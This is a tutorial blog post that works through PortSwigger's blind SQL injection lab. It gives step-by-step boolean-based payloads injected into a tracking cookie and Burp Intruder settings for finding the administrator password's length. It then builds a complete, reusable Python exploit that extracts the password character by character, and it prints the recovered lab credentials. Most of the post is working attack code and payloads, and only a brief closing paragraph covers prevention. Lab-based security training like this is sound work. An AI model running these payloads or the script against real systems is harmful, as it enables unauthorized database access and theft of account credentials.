Mastering Advanced SQL Injection Attacks: Part 2 - Practical Demo and Prevention of Blind SQL Injection

profile kartikhunt3r

Hello Cyber Learners,

If you've been following my blog, you already know that I've discussed the basics of Blind SQL Injection and provided a cheat sheet on the topic Advanced SQL Injection Attack (SQLi) | Blind SQL Injection And Prevention . However, in this blog post, I want to take things a step further and provide a practical demonstration of Advanced Blind SQL Injection. This demo will give you a deeper understanding of how attackers can use Blind SQL Injection to access sensitive data and how you can protect your web application from such attacks.

Practical On Blind SQL Injection

In this practical demo, I will be tackling Portswigger's Blind SQL Injection lab using advanced techniques. This lab is designed to simulate a real-world Blind SQL Injection attack scenario, where an attacker tries to gain access to sensitive data by exploiting vulnerabilities in a web application. By solving this lab, we will gain a better understanding of how Blind SQL Injection attacks work and how to prevent them.

You should have an account in port swigger to access the lab. if you don't know how to register for new account then you can follow my steps from this blog What is Burp Suite | How to use Burp Suite | Burp Suite Tutorial for Beginners

If you already have an account, then you can access the lab here: Start Lab

With the help of this lab, I will show you how I think and observe things while solving this lab or when in the real world a hacker performs SQL injection.

So, let's start by launching the lab...

Step 1: Notice that when you refresh the home page, you will get the message "Welcome back!". we are not logged in, but still getting this welcome back message. this behavior is unusual, and it suggests that the web application might be storing our session data in a vulnerable manner, making it possible for an attacker to exploit it using SQL Injection techniques.

Step 2: First, we need to identify the parameter that is vulnerable to SQL injection. you can try all the endpoints and login pages. the best way to do this is by using burp suite.

In case if you don't know what is burpsuite and how to use it, then you should read this blog: What is Burp Suite | How to use Burp Suite | Burp Suite Tutorial for Beginners

So, let's intercept the request in Burp Suite.

We have 2 parameters in the request, tracing id and session. let's test our payloads on both parameters. to make testing easier, we will send the request to the repeater tab by right-clicking on the request and selecting "Send to Repeater." This will allow us to test our payloads more efficiently and get quicker results.

Step 3: Let's inject our first payload' AND '1' = '1 into the TracingId parameter.

As you can see, we got Welcome back message. that means the application is not using any firewall to block these queries.

Step 4: Now, when you change the payload to ' AND '1' = '2, you can observe that welcome back message is gone.

1=2 is FALSE condition, so the welcome back message is not appearing, which means the backend server is executing our SQL queries.

Step 5: After verifying the execution, you can try this payload:

' AND (SELECT 'a' FROM users LIMIT 1)='a

  This is a subquery that selects the string literal 'a' from the users table, limited to only one row using the LIMIT 1 clause.

We got a Welcome back message, which is confirming that the condition is TRUE and there is a table called users.

Step 6: Now change payload to:

' AND (SELECT 'a' FROM users WHERE username='administrator')='a

Verify that the condition is true, confirming that there is a user called administrator.

Step 7: The next step is to determine how many characters are in the password of the administrator user. To do this, change the value to:

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

This condition should be true, confirming that the password is greater than 1 character in length.

Step 8:Now, you have to Send a series of follow-up values to test different password lengths, for example:

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a

Then send:

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a

And so on. When the condition stops being true (when the "Welcome back" message disappears), you have determined the length of the password.

You can do this manually using Burp Repeater, but it will take time, so we are using burpsuite's Intruder for that.

Step 9: Send the request to Intruder.

Step 10:  In the Positions tab of Burp Intruder, clear the default payload positions by clicking the "Clear §" button.

Step 11: In the Positions tab, change the value of the cookie to:

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a

Step 12: Now, Place payload position markers(§) around the final character in the cookie value. To do this, select just the length number "3", and click the "Add §" button. You should then see the following as the cookie value (note the payload position markers):

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>§3§)='a

Note the new § markers around the "a" character. 

Step 13: After setting the value, you have to set payloads. let's assume that the password is less than 30 characters, so we have to pass numbers from 1 to 30.

for that go to the payloads tab of the burp suite, and select these values:

Payload set: 1
Payload Type: numbers
 

Payload options

From: 1
To: 30
Step:1
 

Number Format

Min Intiger digits: 1
Max Intiger digits: 2
Min Fractional digits: 0
Max Fractional digits: 0

Step 14: To be able to tell when the correct Number was submitted, you'll need to grep each response for the expression "Welcome back". To do this, go to the Settings tab, and the "Grep - Match" section. Clear any existing entries in the list.

Now, add the value "Welcome back".

Step 15: Launch the attack by clicking the "Start attack" button or selecting "Start attack" from the Intruder menu.

Step 16: Review the attack results to find the length of the password. You should see a column in the results called "Welcome back". One of the rows should have a tick in this column.

As you can see, the welcome back message stopped appearing after the length of 19, which means the password should be 20 characters long.

Step 17: To confirm this, let's send a request with this payload:

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a

As you can see, welcome back message is not there.

Step 18: Now, we have collected some information on our target:

Table name: users
columns: username, password
password length: 20

With this information, we can enumerate the password with this payload:

TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

This uses the SUBSTRING() function to extract a single character from the password and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn.

So, here "1" is the position of the character and "a" is a character that we are gonna brute force.

Step 19: Now, you have to Send a series of follow-up values to test different password lengths, for example,

TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='b
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='c

and so on ...

Then when you find the first character, you have to change the position value to "2". and repeat the same process ...

TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='b
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='c

Doing this manually will take some months to guess the correct password, so we must use automation here.

Step 20: Now, we have 2 options, manual and automated brute forces. Let's first understand what is different between them, and how we can use each in different situations.

What is Diffrence between manual bruteforce and Automated Bruteforce?

Ans. When attempting to crack a password, there are two main approaches: manual brute force or automated script-based brute force. Manual brute force involves using your own knowledge and expertise to guess passwords and try them one by one until you find the correct one. This can be a time-consuming and challenging process, especially if the password is complex or if there are multiple passwords to try.

Alternatively, you can use an automated script to perform brute force attacks. These scripts are designed to systematically try different passwords and combinations until the correct one is found. This can be a much faster approach than manual brute force, and it allows you to test a much larger number of password combinations in a shorter amount of time.

In conclusion, whether you choose to use manual brute force or an automated script-based approach will depend on your level of expertise, the complexity of the password, and the time and resources you have available. Both approaches have their pros and cons, so it's important to carefully consider your options and choose the one that is best suited to your specific needs and goals.

Here, We are trying to find a way to crack a password that is stored in a database using a type of attack called "blind SQL injection". This means we are trying to trick the database into giving us information that we are not supposed to have access to. We don't know how complicated the password is, and we don't have any personal information about the person we are trying to get information on, so we can't create a list of possible passwords. The best way to try to access the information is to use an automated attack that can try lots of different combinations of passwords quickly and easily. This will allow us to find the password that we need to access the information we want.

I am using python to automate the attack. you can follow me, or you can develop your own script to do the same stuff.

Video Tutorial on Blind SQL Injection

If you are facing difficulties in performing the above steps then you can watch this video that will cover everything that I have shown above.

Developing the Exploit

You can watch my video for a better understanding of the exploit:[link]

Step 21: If you don't have python installed in your system, you can simply download it from here: python

I am using VS code editor, you can download it from this link: VS code or you can use any like nano, vi, vim etc.

Now, open your text editor, and follow the steps ...

Let's import some required modules first.

import sys
import requests
import urllib3
import urllib

Step 22: Disable the annoying warnings of urllib3 with this line: (this step is optional)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

Step 23: Now, let's write a function to handle the errors and send the user's input to our main SQL_cracker() function.

def main():
    if len(sys.argv) != 2:
        print("[+] Error: Enter the Target URL")
        print("[+] Example: %s www.example.com" % sys.argv[0])

    else:
        url = sys.argv[1]
        print("[+] Bruteforcing Admin password...")
        SQL_cracker(url)

if __name__ == "__main__":
    main()

Here is a breakdown of what the code is doing:

  1. The main() function is defined which contains the main logic of the script.
  2. The if statement checks if the length of the sys.argv list (which stores command-line arguments) is not equal to 2. If this is true, it means that the user did not provide the target URL as a command-line argument. In this case, an error message is printed that instructs the user to enter the target URL and provides an example of how to use the script.
  3. If the if statement evaluates to False, it means that the user provided the target URL as a command-line argument. The URL is then assigned to the URL variable.
  4. A message is printed to inform the user that the script is starting to brute-force the admin password.
  5. The SQL_cracker() function is called with the URL variable as an argument to start the brute-force attack, we will make it in the next steps.
  6. Finally, the if __name__ == "__main__": statement is used to check whether the script is being run as the main program or if it is being imported as a module into another program. If the script is being run as the main program, the main() function is called to start the script.

Step 24: Now, let's create the function:

def SQL_cracker(url):
    password_extracted = ""
    for i in range(1,21):
        for j in range(32,126):
            sqli_payload = "' and (select ascii(substring(password,%s,1)) from users where username='administrator')='%s'--" % (i,j)
            sqli_payload_encoded = urllib.parse.quote(sqli_payload)
            cookies = {'TrackingId': 'kFkzd9WnudZc8Ybe' + sqli_payload_encoded, 'session': 'wW0qIDIazvRDgYPlQKS9o2dlsrTlqDDl'}
            responce = requests.get(url, cookies=cookies, verify=False)
            if "Welcome" not in responce.text:
                sys.stdout.write('\r' + password_extracted + chr(j))
                sys.stdout.flush()
            else:
                password_extracted += chr(j)
                sys.stdout.write('\r' + password_extracted)
                sys.stdout.flush()
                break
  • The function takes a single argument, which is the target URL.(it will fetch it from main() function.)
  • A variable named "password_extracted" is initialized to an empty string, in which we will store the cracked password.
  • The function uses two nested loops to iterate through each character of the password. The outer loop goes from 1 to 20, indicating the length of the password. The inner loop goes through ASCII characters from 32 to 126, which covers most printable characters[a-z],[A-Z],[0-9],and all the symboles.
  • Inside the inner loop, a string variable named "sqli_payload" is constructed. This variable contains a SQL injection payload that extracts a single character from the password using the "substring" function and compares its ASCII code to the current value of the inner loop variable. The injection payload is URL-encoded using the "urllib.parse.quote" function.
  • A dictionary named "cookies" is constructed, which contains two keys: "TrackingId" and "session". The "TrackingId" key contains the injection payload encoded as a URL parameter. The "session" key contains a valid session cookie, which is necessary for the application to work properly. You have to change the values of TrackingId and session according to your request.

  • HTTP GET request is sent to the target URL with the cookies dictionary attached as a parameter. The "verify=False" parameter is used to ignore SSL certificate validation errors, which can occur when testing against a self-signed or invalid certificate.
  • The response from the server is checked for the presence of the "Welcome" message. If the message is not present, the current character of the password is printed to the console using the "sys.stdout.write" function. The "sys.stdout.flush" function is used to ensure that the output is immediately displayed without buffering.
  • If the "Welcome" message is present, the current character is added to the "password_extracted" variable and printed to the console, and the inner loop is broken to proceed to the next character.
  • The loop will keep running until it extracts the whole password.

Once all characters of the password have been extracted, the function terminates.

Step 25: By combining all this, our final exploit will look like this:

import sys
import requests
import urllib3
import urllib

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def SQL_cracker(url):
    password_extracted = ""
    for i in range(1,21):
        for j in range(32,126):
            sqli_payload = "' and (select ascii(substring(password,%s,1)) from users where username='administrator')='%s'--" % (i,j)
            sqli_payload_encoded = urllib.parse.quote(sqli_payload)
            cookies = {'TrackingId': 'kFkzd9WnudZc8Ybe' + sqli_payload_encoded, 'session': 'wW0qIDIazvRDgYPlQKS9o2dlsrTlqDDl'}
            responce = requests.get(url, cookies=cookies, verify=False)
            if "Welcome" not in responce.text:
                sys.stdout.write('\r' + password_extracted + chr(j))
                sys.stdout.flush()
            else:
                password_extracted += chr(j)
                sys.stdout.write('\r' + password_extracted)
                sys.stdout.flush()
                break

def main():
    if len(sys.argv) != 2:
        print("[+] Error: Enter the Target URL")
        print("[+] Example: %s www.example.com" % sys.argv[0])

    else:
        url = sys.argv[1]
        print("[+] Bruteforcing Admin password...")
        SQL_cracker(url)

if __name__ == "__main__":
    main()
    

Step 26: Save the file as exploit.py

Step 27: Run the exploit with this command:

python3 exploit.py [TARGET_URL]


As you can see, brute forcing is started. it will take 5 to 10 mins according to your CPU and internet speed

Step 28: Finally, After 4 minutes we got our password: X7rsmvcdde2szzlh4frf

Step 29: Click on My account, and log in with

username: administrator
password: X7rsmvcdde2szzlh4frf

In this practical lab, we learned many things, like Boolien-based blind SQL injection, injecting into the cookies, using burp intruder for brute forcing the length and creating your own python exploit to brute force the admin password.

Video Tutorial on Python Script

If you are confused and don't understand the above script then I have shown step-by-step script building in my video below with a proper explanation.

Conclusion

Blind SQL Injection attacks can be dangerous, as they allow attackers to gain access to sensitive data without being detected. It is important to take steps to prevent these types of attacks by using prepared statements, input validation, and limiting database permissions. By following these best practices, you can reduce the risk of Blind SQL Injection attacks and keep your web application secure.

Related Blogs

Subscribe Us

* indicates required

kartikhunt3r

Working in cyber security field form past 3 years. I am bug hunter and CTF … readmore

Recent posts